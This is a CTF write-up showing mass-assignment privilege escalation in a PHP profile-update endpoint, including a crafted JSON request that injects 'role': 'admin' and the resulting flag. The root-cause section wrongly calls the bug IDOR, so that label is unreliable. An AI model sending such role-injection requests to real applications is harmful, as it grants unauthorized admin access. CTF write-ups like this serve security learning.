🔓 Special Access — BDSEC CTF 2025

Category: Web Exploitation
Points: 250
Author: TareqAhamed
Flag Format: BDSEC{Something}

🧠 Challenge Overview

We were given a basic user registration & login flow hosted at:

http://45.79.9.104:7474/

After creating and logging in with a test account, the user is taken to dashboard.php where their email and role are displayed.

Example:

Email: tester@test.com
Role: user

Our objective: Get the flag, which is likely only accessible to privileged roles like admin or special.

🔍 Recon

We analyzed the captured requests:

• POST /register.php → registers user
• POST /login.php → logs in and redirects to dashboard.php
• GET /dashboard.php → shows profile with current role
• POST /profile.php → allows profile updates (email & password)

No direct link to a flag or admin area was visible in the HTML.

💡 Key Discovery

Upon inspecting the profile.php update logic, we noticed this:

const data = {
    email: formData.get('email')
};

const password = formData.get('password');
if (password && password.trim() !== '') {
    data.password = password;
}

➡️ The frontend only sends email and password in the JSON payload.
However, the backend might blindly accept additional fields sent in raw JSON 👀

⚔️ Exploit — Role Privilege Escalation via JSON Manipulation

We crafted a custom POST request to profile.php:

POST /profile.php HTTP/1.1
Host: 45.79.9.104:7474
Content-Type: application/json
Cookie: PHPSESSID=94d8a319984e2fb21c1c5c08dab5e114

{
  "email": "tester@test.com",
  "role": "admin"
}

📌 This worked! Logging back into dashboard.php, we saw:

Email: tester@test.com
Role: admin ✅

🏁 Final Step — Accessing the Flag

Sometimes the flag is shown directly on the dashboard for admins.

🔐 The flag was revealed as:

BDSEC{MaSs_ASSignmEnt_Expl0itEd}

✅ Root Cause

The backend did not sanitize or restrict the fields it accepted during profile updates. This allowed arbitrary fields like role to be inserted, leading to privilege escalation — a classic Insecure Direct Object Reference (IDOR) + Missing Access Control combo.

💬 Final Thoughts

This was a clean and realistic challenge, showing how simple mistakes in input validation can lead to critical privilege escalation.

Massive shoutout to TareqAhamed (0xt4req) for this cool CTF web lab 👏